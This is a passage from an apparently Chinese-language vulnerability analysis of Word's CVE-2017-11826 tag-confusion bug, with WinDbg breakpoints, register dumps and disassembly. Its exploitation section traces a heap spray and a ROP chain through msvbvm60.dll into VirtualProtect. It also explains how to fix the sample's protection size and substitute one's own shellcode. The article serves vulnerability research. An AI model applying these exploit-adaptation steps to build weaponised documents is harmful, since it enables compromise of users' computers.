data-w="1222" src="https://wechat2rss.xlab.app/img-proxy/?k=a7acafc0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7bpgz6epQoy7LnwI12DvgX2q9APc3BNZ6XntY4iaglOxmp2KWKoGSVwyXJdUMTFhINOJW3aMJzgfg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">崩溃函数 arg2 的值为 edi，而 edi 的值为父函数的 arg2：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.09156193895870736" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="557" src="https://wechat2rss.xlab.app/img-proxy/?k=b44fb021&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7bpgz6epQoy7LnwI12DvgXiadsIKPuIBaW0k2cclEKD22QxsOxoZMa0uFnReN5zkmFogxjt6GL9YQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">于是在父函数和崩溃函数同时下断，查看标签解析情况：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibicyvcX28HArPibackfPNSTUaBz5ayuOg7PHagOMfGqV5MHptbr62TED6RC524AD4pqibPnk3knoU6pNVp2olxE2TY/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">bp wwlib+3fa5a <span style="color: #98c379;line-height: 26px;">&#34;.printf \&#34;Parent_Func: \&#34;; du poi(poi(esp+8)+18) Lpoi(poi(esp+8)+1c); g;&#34;</span><br/>bp wwlib+385ce6 <span style="color: #98c379;line-height: 26px;">&#34;.printf \&#34;Crash_Func: \&#34;; du poi(poi(esp+8)+18) Lpoi(poi(esp+8)+1c); g;&#34;</span><br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.46638655462184875" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="476" src="https://wechat2rss.xlab.app/img-proxy/?k=98fa49cf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7bpgz6epQoy7LnwI12DvgX6WjDBuDXKn16kupoHT7vnlUJtkQugQicSQqC4Y9AY1cou77pUibyHu9A%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在父函数成功解析到 font 标签，猜测因为 font 标签未闭合而导致崩溃函数解析标签出错产生漏洞，修改了 xml 文件闭合了 font 标签：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.3078125" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=f3ab0944&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7bpgz6epQoy7LnwI12DvgXebKyq423Agj8q4r7ibyiaW4iat6BriblqibFNmOTTNPQiaAXd2geH32Diay2A%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">将修改后的 docx 文件嵌入到新建的 rtf 文件中，在 windbg 中调试后发现 eax 的值改变了，并且没有异常，证实因为 font 标签未闭合导致的漏洞。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.17825537294563842" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="791" src="https://wechat2rss.xlab.app/img-proxy/?k=c75e72c0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7bpgz6epQoy7LnwI12DvgXNYEsMpRqyKnDicric4r4Hg9Z3IZtsPq8cuqfYuI5wldRcicibOhgb3o5Ug%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">继续调试发现异常触发点的 eax 和 ecx 都是来自于 esi，而 esi 为漏洞函数的 arg1：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.5145038167938931" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="655" src="https://wechat2rss.xlab.app/img-proxy/?k=3b30c14a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7bpgz6epQoy7LnwI12DvgXIF3B7T5P20aRPF0njU03nD4rGdk0AAJOXquiaHceGiaEDAoia6MP4icdyA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">因此在漏洞函数打印标签以及[[esi+17f0]]、[[esi+17f0]+8]、[[esi+17f0]+c]和[esi+17f0]的值：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibicyvcX28HArPibackfPNSTUaBz5ayuOg7PHagOMfGqV5MHptbr62TED6RC524AD4pqibPnk3knoU6pNVp2olxE2TY/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">bp wwlib+385ce6 <span style="color: #98c379;line-height: 26px;">&#34;du poi(poi(esp+8)+18) Lpoi(poi(esp+8)+1c); r <span style="color: #d19a66;line-height: 26px;">$t0</span>=poi(poi(esp+4)+17f0); dd poi(<span style="color: #d19a66;line-height: 26px;">$t0</span>) L1; dd poi(<span style="color: #d19a66;line-height: 26px;">$t0</span>)+8 L1; dd poi(<span style="color: #d19a66;line-height: 26px;">$t0</span>)+c L1; dd <span style="color: #d19a66;line-height: 26px;">$t0</span> L1; .printf\&#34;\\n\&#34;; g;&#34;</span><br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.8473193473193473" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="858" src="https://wechat2rss.xlab.app/img-proxy/?k=448b1613&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7bpgz6epQoy7LnwI12DvgXiattkgpibNb7czMBSibGa5NzV7Gs2b6yxXDcp9lcNdGMlMDO0TleYYnVg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">打印出的结构就是 Taglist 结构体，具体结构参考 goabout2 的<span style="color: #1e6bb8;font-weight: bold;">office CVE-2017-11826 杂谈</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[2]</sup>一文。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">接着调试异常触发点上的函数，发现函数功能为通过层级标签获取 TagObject Array[Index-2]：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.3130128956623681" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1706" src="https://wechat2rss.xlab.app/img-proxy/?k=5ca1aca3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7bpgz6epQoy7LnwI12DvgXfA5wTZB7Rf4X1s2wKBw4QZTdc52picdX6fRcY2mpmYGF1F3gb4ibdUuw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">继续向上追溯，发现函数 GetTagObject 也调用了 GetTagObjectByIndex，通过分析发现该函数获取的是 TagObject Array[Index-1]的地址：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.27638190954773867" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="995" src="https://wechat2rss.xlab.app/img-proxy/?k=eef1e3b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7bpgz6epQoy7LnwI12DvgX93BUEia12zrVRahQ4icdAJtq3ftP9cQribXcRMjngycjQE4sPXpGFAGkA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">分析到这里，漏洞产生的原因也就出来了，由于 word 每解析一个标签，Current_Index 的值就加一，当解析到闭合标签，Current_Index 值会减 1。由于构造了没有闭合的 font 标签，因此导致在解析 idmap 标签时比正常文件的 Current_Index 多一，导致原本应该获取 OLEObject 标签的 TagObject 变成获取了 font 的 TagObject，因此造成了标签类型混淆导致漏洞的发生。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">将标签层级和 xml 文件标签对应：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.7218721872187218" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1111" src="https://wechat2rss.xlab.app/img-proxy/?k=a5c9383d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7bpgz6epQoy7LnwI12DvgXoK3KIXHvo2xRFPr7Z6ef96n5M0jYs9D6JpoaUJsBYLwKtG0smmA5dA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">可以证实确实因为 Current_Index 值比正常文件的多一导致的类型混淆。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在内存中查看当解析 idmap 层级为 6 时 Taglist 的内存结构：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibicyvcX28HArPibackfPNSTUaBz5ayuOg7PHagOMfGqV5MHptbr62TED6RC524AD4pqibPnk3knoU6pNVp2olxE2TY/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">&gt; bp wwlib+4da16b<br/>&gt; g<br/>Breakpoint 1 hit<br/>eax=070f1800 ebx=00000000 ecx=0225466c edx=00000004 esi=0225466c edi=070f19dc<br/>eip=6f95a16b esp=002cf428 ebp=002cf490 iopl=0         nv up ei pl nz na po nc<br/>cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202<br/>wwlib!DllGetLCID+0x2cc775:<br/>6f95a16b e840f7b2ff      call    wwlib!DllGetClassObject+0x42d4 (6f4898b0)<br/>&gt; ub <span style="color: #d19a66;line-height: 26px;">$ip</span> L8<br/>wwlib!DllGetLCID+0x2cc75d:<br/>6f95a153 83780401        cmp     dword ptr [eax+4],1<br/>6f95a157 0f85f5bdeaff    jne     wwlib!DllGetLCID+0x17855c (6f805f52)<br/>6f95a15d 8bb6f0170000    mov     esi,dword ptr [esi+17F0h]<br/>6f95a163 8b06            mov     eax,dword ptr [esi]<br/>6f95a165 8b10            mov     edx,dword ptr [eax]<br/>6f95a167 4a              dec     edx<br/>6f95a168 4a              dec     edx<br/>6f95a169 8bce            mov     ecx,esi<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">此时 eax 的值即为 Taglist，因此查看 eax 指向的 Taglist 结构：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.6258847320525783" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="989" src="https://wechat2rss.xlab.app/img-proxy/?k=7643df0d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7bpgz6epQoy7LnwI12DvgX2k4eRmQj8EJ4aAb5xToaibDI0IvrnNhd3rKMfCTzC0TbqLg6U6hUuMA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">此时 TagObject[4]+0x44 的值为<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">0x090b4000</code>，查看该值在内存中存储的数据：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.22521246458923513" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="706" src="https://wechat2rss.xlab.app/img-proxy/?k=a5db5e96&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7bpgz6epQoy7LnwI12DvgXrNZfDUmAoeAMcMhQTBI5tkTibLDdNVG1XyAP20FFr8PD4WmSmoaKTjQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">发现[[TagObject[4]+0x44]+0x44]的值正是 xml 文件中 font 标签构造的固定地址，自此漏洞部分分析完毕。</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>漏洞利用</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">先启动 word 然后使用 windbg 附加会导致堆喷无法成功，继而无法分析漏洞利用部分。因此使用 gflags.exe 让调试器直接加载 winword.exe：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="1.0359848484848484" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="528" src="https://wechat2rss.xlab.app/img-proxy/?k=43925424&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7bpgz6epQoy7LnwI12DvgXUhiaZHiaKb5c5fj9Jqmdv9tNu8Wib0iaMr4qCaZNcAGAV2bIibj0WPmxM1A%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">设置断点在异常触发点：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibicyvcX28HArPibackfPNSTUaBz5ayuOg7PHagOMfGqV5MHptbr62TED6RC524AD4pqibPnk3knoU6pNVp2olxE2TY/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">&gt; bp wwlib+4da184<br/>&gt; g<br/>Breakpoint 0 hit<br/>eax=088888ec ebx=00000000 ecx=088883ec edx=00000004 esi=004b44b4 edi=0340cddc<br/>eip=6e2da184 esp=002f5f14 ebp=002f5f7c iopl=0         nv up ei pl nz na po nc<br/>cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202<br/>wwlib!DllGetLCID+0x2cc78e:<br/>6e2da184 50              push    eax<br/>0:000&gt; u <span style="color: #d19a66;line-height: 26px;">$ip</span><br/>wwlib!DllGetLCID+0x2cc78e:<br/>6e2da184 50              push    eax<br/>6e2da185 ff5104          call    dword ptr [ecx+4]<br/>6e2da188 e9fabdeaff      jmp     wwlib!DllGetLCID+0x178591 (6e185f87)<br/>6e2da18d 83f802          cmp     eax,2<br/>6e2da190 750f            jne     wwlib!DllGetLCID+0x2cc7ab (6e2da1a1)<br/>6e2da192 83c624          add     esi,24h<br/>6e2da195 56              push    esi<br/>6e2da196 52              push    edx<br/>&gt; dd ecx+4<br/>088883f0  72980e2b 72980e2b 72980e2b 72980e2b<br/>08888400  72980e2b 72980e2b 72980e2b 72980e2b<br/>08888410  72980e2b 72980e2b 72980e2b 72980e2b<br/>08888420  72980e2b 72980e2b 72980e2b 72980e2b<br/>08888430  72980e2b 72980e2b 72980e2b 72980e2b<br/>08888440  72980e2b 72980e2b 72980e2b 72980e2b<br/>08888450  72980e2b 72980e2b 72980e2b 72980e2b<br/>08888460  72980e2b 72980e2b 72980e2b 72980e2b<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">发现 exc+4 的值为 activeX1.bin 中 shellcode 下方的填充，说明已经成功堆喷。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">步入[exc+4]后发现来到了 msvbvm60.dll，已经进入了 ROP 链：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibicyvcX28HArPibackfPNSTUaBz5ayuOg7PHagOMfGqV5MHptbr62TED6RC524AD4pqibPnk3knoU6pNVp2olxE2TY/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">&gt; t<br/>eax=088888ec ebx=00000000 ecx=088883ec edx=00000004 esi=004c44b4 edi=0043cddc<br/>eip=72980e2b esp=00385a18 ebp=00385a88 iopl=0         nv up ei pl nz na po nc<br/>cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202<br/>msvbvm60!IID_IVbaHost+0x127eb:<br/>72980e2b 94              xchg    eax,esp<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">而第一条指令则是用来栈迁移，在之前已经将 eax 入栈，而 eax 的值正是构造好的<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">0x088888ec</code>，执行指令后，esp 的值已经变成了<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">0x088888ec</code>：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.26299694189602446" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="654" src="https://wechat2rss.xlab.app/img-proxy/?k=79890fe7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7bpgz6epQoy7LnwI12DvgXqrBaUiaX5mheazNMTz2z1MlWOrW4U8ZMZXqxtO97phMbJibSOnV9wAZw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">而 eax 中的内容刚好位于 shellcode 的上方，此时 ROP 链为滑板指令，循环执行<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">pop eax</code>和<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">ret</code>，此时可以下断<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">bp 729440cc &#34;.if(esp=08888f48){}.else{gc}&#34;</code>停在了滑板指令结束的位置：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.5202312138728323" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="692" src="https://wechat2rss.xlab.app/img-proxy/?k=24d5d1ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7bpgz6epQoy7LnwI12DvgXvibFWI1v3xqefiaZAQaJEnSaX9icf9SYtzPJEtj4u1ibOhkaXLmU55LlSw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">当执行到最后一次滑板指令时，会将<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">0x729410d0</code>放入 eax 中，而该值是 msvbvm60.dll 的 IAT 表中的数据，查看后存储的是 VirtualProtect 的地址：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.23448275862068965" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="580" src="https://wechat2rss.xlab.app/img-proxy/?k=33925dd7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7bpgz6epQoy7LnwI12DvgXQPQwhPOC5r5mIa0DCu9beExO9EqYgDcC8yUYEibiaST91g7hF0rNTKyw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">紧接着通过 ret 跳转到 ROP 指令<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">jmp [eax]</code>执行 VirtualProtect，而此时栈中为构造好的 VirtualProtect 的参数：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.6235119047619048" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="672" src="https://wechat2rss.xlab.app/img-proxy/?k=69c0cbfd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7bpgz6epQoy7LnwI12DvgX1DM57oZtRFQTJ7NdIOw0PrVhoJPskAj7DmCzbok5icMcCPAUphuQBNg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">再次跳转后进入到 kernelbase.dll 的 VirtualProtect：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.6313645621181263" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="491" src="https://wechat2rss.xlab.app/img-proxy/?k=83413790&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7bpgz6epQoy7LnwI12DvgXYcA0jDYBG1SOqnbCx8KXYrNjzfGxnkf0cXg0ZLjiaeksl4V0cN2VZGA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">执行后会跳转到<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">0x08888f70</code>执行 shellcode：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.3653483992467043" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="531" src="https://wechat2rss.xlab.app/img-proxy/?k=219629f1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7bpgz6epQoy7LnwI12DvgXqKjVevwXRXKRvCb5NbVNyHtiaQibB6WYQT07Zx463ygctDuY4ibAWyvIg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">然而 VirtualProtect 的修改的内存范围只有<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">0x08888c90 - 08888e91</code>，而 shellcode 却位于<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">0x08888f70</code>，因此会触发 c0000005 访问异常，shellcode 执行失败：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.32222222222222224" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="630" src="https://wechat2rss.xlab.app/img-proxy/?k=5f7b07de&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7bpgz6epQoy7LnwI12DvgXv4OmT44RNlYFxHvpWIVZhglV4v7nCtp6dZQdkeibQhCn7SQsVGIqT6w%2F640%3Fwx_fmt%3Dpng"/></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>利用改造<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">activeX1.bin 文件中布局如下：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.19875" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="800" src="https://wechat2rss.xlab.app/img-proxy/?k=c6a5e2b3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7bpgz6epQoy7LnwI12DvgXODRdd9VWTOgRNNibhpHiaAvIpcqtGj8bmurMrlkeJsmgiaqNTqhhHYu1g%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">由于原本 VirtualProtect 修改的范围为 0x201 不够，因此修改为 0x1000 确保能够覆盖 shellcode，随后将 shellcode 替换为自己的 shellcode 即可。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 